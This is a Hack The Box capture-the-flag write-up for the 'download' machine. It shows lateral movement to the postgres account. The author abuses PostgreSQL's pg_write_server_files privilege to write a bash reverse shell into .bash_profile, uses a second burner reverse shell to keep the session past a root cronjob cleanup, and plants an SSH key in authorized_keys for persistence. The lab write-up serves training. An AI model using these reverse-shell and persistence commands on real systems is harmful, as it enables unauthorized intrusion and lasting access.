postgres


Upon gaining a session on the running PostgreSQL instance with a CLEARTEXT credential hard-coded into the service file, I quickly learned that the current DB user has an interesting privilege through a membership; pg_write_server_files The pg_write_server_files privilege allows the file write access to the host filesystem, and it was later validated

Naturally, I initially thought that I might be able to write my public SSH key into the authorized_keys file of the postgres account, so I checked the home directory of the said user

wesley@download:~$ ll /home
total 12
drwxr-xr-x  3 root   root   4096 jul 19 15:35 ./
drwxr-xr-x 19 root   root   4096 jul 19 16:06 ../
drwxr-xr-x  6 wesley wesley 4096 aug  9 14:09 wesley/
 
wesley@download:~$ cat /etc/passwd | grep -i postgres
postgres:x:113:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

There is no home directory for the postgres account since it’s a service account, and the home directory is set to /var/lib/postgresql

wesley@download:~$ ll /var/lib/postgresql/
total 16
drwxr-xr-x  3 postgres postgres 4096 aug  9 21:08 ./
drwxr-xr-x 41 root     root     4096 jul 19 16:06 ../
drwxr-xr-x  3 postgres postgres 4096 apr 21 08:52 12/
-rw-------  1 postgres postgres    5 aug  9 21:08 .bash_history

Here, checking the home directory of the postgres account tells us a few things

  • There is no SSH directory,/var/lib/postgresql/.ssh,
    • Therefore, I cannot write my SSH key to the authorized_keys file inside the SSH directory
  • There is a .bash_history file
    • In Unix/Linux systems, the .bash_history file is automatically created upon opening a terminal session
    • This is expected since the postgres account is executing psql every minute as discovered previously

Discovering that I am unable to modify the SSH file halted the progress for a period of time. I even thought of changing the password of the postgres user within the DB session (NOT SYSYTEM) or even modifying the configuration file But I came to a better idea eventually

Logon Script


Since writing SSH key is no longer a possible option and opening of a terminal session of the postgres account is confirmed, a new theory came into my mind.

In Unix/Linux systems, there is a file that gets executed upon starting an interactive session, much like Window’s logon script or startup folder It’s the .bash_profile file. It might be entirely possible to write a reverse shell to the .bash_profile file in the home directory of the postgres account

download=> COPY (SELECT 'bash -i >& /dev/tcp/10.10.14.20/8888 0>&1') TO '/var/lib/postgresql/.bash_profile';
COPY 1

Writing a simple bash reverse shell to the /var/lib/postgresql/.bash_profile file It turns out that I can just put text command directly into the SELECT command instead of encoding it

wesley@download:~$ ls -lasht /var/lib/postgresql/
total 20K
4.0K drwxr-xr-x  3 postgres postgres 4.0K Aug  9 22:03 .
4.0K -rw-r--r--  1 postgres postgres   42 Aug  9 22:03 .bash_profile
4.0K -rw-------  1 postgres postgres    5 Aug  9 22:02 .bash_history
4.0K drwxr-xr-x 42 root     root     4.0K Aug  9 21:52 ..
4.0K drwxr-xr-x  3 postgres postgres 4.0K Apr 21 08:52 12
 
wesley@download:~$ cat /var/lib/postgresql/.bash_profile 
bash -i >& /dev/tcp/10.10.14.20/8888 0>&1

The .bash_profile file is created with the reverse shell in it

┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8888
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 59334
postgres@download:~$ whoami
whoami
postgres
postgres@download:~$ hostname
hostname
download
postgres@download:~$ ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.226  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:ac48  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:ac48  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:ac:48  txqueuelen 1000  (Ethernet)
        RX packets 70007  bytes 9048550 (9.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 85313  bytes 15804265 (15.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 92332  bytes 13670489 (13.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 92332  bytes 13670489 (13.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

A moment later, I get a shell session opened as the postgres user, implying that the .bash_profile file was executed from the root cronjob However, the shell session immediately got cutoff

wesley@download:~$ ls -lasht /var/lib/postgresql/
total 16K
4.0K drwxr-xr-x  3 postgres postgres 4.0K Aug  9 22:04 .
4.0K -rw-------  1 postgres postgres    5 Aug  9 22:04 .bash_history
4.0K drwxr-xr-x 42 root     root     4.0K Aug  9 21:52 ..
4.0K drwxr-xr-x  3 postgres postgres 4.0K Apr 21 08:52 12

The .bash_profile file that I created is gone. The root cronjob is likely also restoring the home directory of the postgres user.

I can try to make a jump and have that process gets eliminated instead

Jump


wesley@download:~$ echo 'bash -i >& /dev/tcp/10.10.14.20/8887 0>&1' > /tmp/shell
wesley@download:~$ chmod 755 /tmp/shell

I will first create another reverse shell

download=> COPY (SELECT 'bash -i >& /dev/tcp/10.10.14.20/8888 0>&1') TO '/var/lib/postgresql/.bash_profile';
COPY 1

Writing a bash reverse shell to the /var/lib/postgresql/.bash_profile file again

┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8888                    
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 43254
postgres@download:~$ 

I got the shell session open

postgres@download:~$ /tmp/shell
/tmp/shell

Now, I need to execute the burner reverse shell, which will be eliminated instead upon having the source wiped; /var/lib/postgresql/.bash_profile The original shell session is hanging for now

┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8887                 
listening on [any] 8887 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 38936

and a burner shell session is open

wesley@download:~$ ls -lasht /var/lib/postgresql/
total 16K
4.0k drwxr-xr-x  3 postgres postgres 4.0k aug  9 22:18 .
4.0k -rw-------  1 postgres postgres    5 aug  9 22:18 .bash_history
4.0k drwxr-xr-x 42 root     root     4.0k aug  9 21:52 ..
4.0k drwxr-xr-x  3 postgres postgres 4.0k apr 21 08:52 12

Eventually, the source, /var/lib/postgresql/.bash_profile is wiped from the root cronjob

The shell session from the burner reverse shell is also gone

┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8888                    
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 43254
postgres@download:~$ /tmp/shell
/tmp/shell
/tmp/shell: line 1: 91448 Hangup                  bash -i &> /dev/tcp/10.10.14.20/8887 0>&1
postgres@download:~$ 

The original is resumed after the Hangup notification from the burner shell session Although I now have a shell session that doesn’t get cutoff, I can elevate the session even further by writing the SSH key

SSH


postgres@download:~$ mkdir -p .ssh
postgres@download:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali' > .ssh/authorized_keys

Done. Hopefully, the .ssh directory won’t get wiped out

┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ ssh postgres@download.htb -i ~/.ssh/id_ed25519 
Enter passphrase for key '/home/kali/.ssh/id_ed25519': 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
 
 System information disabled due to load higher than 2.0
 
 
Expanded Security Maintenance for Applications is not enabled.
 
0 updates can be applied immediately.
 
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
 
 
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
 
 
 
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
 
postgres@download:~$ whoami
postgres
postgres@download:~$ hostname
download
postgres@download:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.226  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:ac48  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:ac48  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:ac:48  txqueuelen 1000  (Ethernet)
        RX packets 73486  bytes 9302873 (9.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 89147  bytes 16476690 (16.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 97390  bytes 14254774 (14.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 97390  bytes 14254774 (14.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
postgres@download:~$ ls -la
total 24
drwxr-xr-x  5 postgres postgres 4096 Aug  9 22:27 .
drwxr-xr-x 42 root     root     4096 Aug  9 21:52 ..
drwxr-xr-x  3 postgres postgres 4096 Apr 21 08:52 12
-rw-------  1 postgres postgres   10 Aug  9 22:26 .bash_history
drwx------  2 postgres postgres 4096 Aug  9 22:27 .cache
-rw-------  1 postgres postgres    0 Aug  9 22:25 .psql_history
drwxrwxr-x  2 postgres postgres 4096 Aug  9 22:26 .ssh

I waited for a while and the .ssh directory doesn’t get wiped out from the root cronjob Lateral Movement made to the postgres account